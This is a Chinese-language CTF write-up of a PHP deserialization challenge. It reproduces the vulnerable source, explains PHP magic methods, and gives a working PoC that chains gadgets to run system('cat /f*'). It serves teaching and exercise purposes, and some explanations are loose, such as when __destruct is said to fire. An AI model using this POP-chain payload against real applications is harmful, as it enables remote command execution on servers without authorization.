通过CTF题,精析POP链的构造
[NewStarCTF 2023 公开赛道]POP Gadget
我们可以首先看看题目源代码: <?php
highlight_file(__FILE__);
class Begin{
public $name;
public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}
class Then{
private $func;
public function __toString()
{
($this->func)();
return "Good Job!";
}
}
class Handle{
protected $obj;
public function __call($func, $vars)
{
$this->obj->end();
}
}
class Super{
protected $obj;
public function __invoke()
{
$this->obj->getStr();
}
public function end()
{
die("==GAME OVER==");
}
}
class CTF{
public $handle;
public function end()
{
unset($this->handle->log);
}
}
class WhiteGod{
public $func;
public $var;
public function __unset($var)
{
($this->func)($this->var);
}
}
@unserialize($_POST['pop']);
可以看到,源代码相当的长,在构造pop链前,我么先介绍一下题目中所有的魔术方法:
__destruct方法
该魔术方法自动调用的前提是:我们所实例化的对象,自动销毁的时候。一般它会被调用是两种时机:
(1)当我们实例化对象的时候
(2)当我们使用反序列函数的时候
如下图:
两次触发该魔术方法,第一次是new User()实例化对象的时候,第二次是unserialize()函数反序列化的时候。
__toString方法
该魔术方法自动调用的前提是:我们把一个对象当作字符串所使用的时候。该魔术方法所被调用的时机就多了:
例如:echo [一个实例化的对象]
如图:
值得说一下的是:print_r()打印一个实例化对象的时候,并不会触发__toSrting()方法,而是后面的echo $test 触发了__toString方法。
__call方法
该魔术方法自动调用的前提是:当我们调用一个实例化对象中不存在的方法时候。如图:
callxxx()方法并不在User类中存在,强行调用所以触发了__call方法,值得一说的是,__call()方法是会传入两个参数的,第一个参数表示的是强行调用的不存在方法的方法名,第二个是该方法所传入的参数。
__invoke方法
该魔术方法自动调用的前提是:把实例化的对象当成函数调用的时候。 如图:
可以看到,这里的 echo $test() ->benben ,其中的 $test()就是把实例化的对象当作函数来调用,所以触发了__invoke方法。
__unset方法
该魔术方法自动调用的前提是:对不可访问的属性使用unset()函数的时候.如图:
User类中的$var 属于私有属性,只有User类中才能调用,类的外部肯定没有办法调用,所以unset( $test->var)时候,访问了不可访问的属性,__unset方法就会被调用。
构造POP链
首先,我要说的是,构造POP链,使用的是反推法,即先找到我们想要利用的函数,再去寻找我们如何才能调用想利用的函数,依次反推。(1)我们可以很明显的发现我们想要利用的函数:
那就是( $this->func)( $this->var)为什么呢,因为这两个参数我们都可以控制。
(2)想要利用( $this->func)( $this->var)那就需要自动调用__unset()方法,那就必须得有unset()函数被执行
唯一有unset()函数的就只有下面的这个类:
我们观察一下,这个log通篇都没有出现,那不就是不可访问的属性嘛,那接下来得考虑的问题就来了,
这个我们可以控制的 $handle参数得传入什么,我们再回顾一下__unset()方法被自动调用的条件,必须是unset()这个实例化对象中的不可访问属性,那么,这个 $handle就必须传入new WhiteGod(),也就相当于:
得传入: $handle = new WhiteGod();我们可以暂时这样理解(意思是对的,但是我们在一个类中实例化另一个类时候,这种赋值方法语法是错的),这样传入, WhiteGod中的__unset()方法就会自动触发。
(3)那么问题接踵而至,我们如何调用CTF类中的end()函数,这个并不是魔术方法,我们只能去别的类中去找:
这个类中,有我们想调用的end()方法,由于我们想调用的是CTF类中的end()函数,所以我们这个类中可控的参数$obj必须传入new CTF()。相当于得传入: $obj = new CTF()。
(4)那么问题依然在,我们如何调用Handle类中的__call()魔术方法,__call()的自动调用,必须得调用一个类中不存在的函数,我们去找找,哪些函数,我们从来没见过:
很容易的,这个getStr()通篇只出现了一次,那就是它了,那这个$obj只能传入new Handle(),只有这样我们调用的才是Handle类中不可访问的getStr()函数,才会自动调用Handle类中的__call()方法。
(5)接下来的问题是我们调用Super类中的__invoke()魔术方法,它的自动调用必须得把一个类当作函数使用,我们找呀找,找到了这个:
同理,这个$func 必须传入 new Super() ,这样的话,( $this->func)(),就会把Super() 这个对象当作函数执行,从而调用Super()类中的__invoke()方。
(5)接下来就是我们如何能自动调用Then类中的__toString()魔术方法,__toString()的自动调用必须是把一个类当成字符串,那么只有一个了,也只剩下一个了:
这个preg_match()函数,前两个参数,都是字符串类型哦,也就是说,我们只要让可控参数$name 等于new Then(),那么 $this->name就相当于把类Then()当成字符串了,那么Then()类中的__toString()就可以被自动调用了。
(6)那么如何调用Begin类中的__destruct()魔术方法,当然是我们的反序列化上传点了:
反序列化的时候会调用__destruct()方法。
所以,POC如下:
<?php
class Begin{
public $name;
}
class Then{
private $func;
public function __construct()
{
$this->func = new Super() ;
}
}
class Handle{
protected $obj;
public function __construct()
{
$this->obj = new CTF();
}
}
class Super{
protected $obj;
public function __construct()
{
$this->obj = new Handle();
}
}
class CTF{
public $handle;
public function __construct()
{
$this->handle = new WhiteGod();
}
}
class WhiteGod{
public $func = 'system';
public $var = 'cat /f*';
}
$a = new Begin();
$b = new Then();
$a->name = $b;
echo serialize($a);
echo "\n".urlencode(serialize($a))."\n";
?>
示列引用别人的项目,地址为:https://github.com/mcc0624/php_ser_Class
因为篇幅过长,可能出现错误,欢迎各位师傅指出。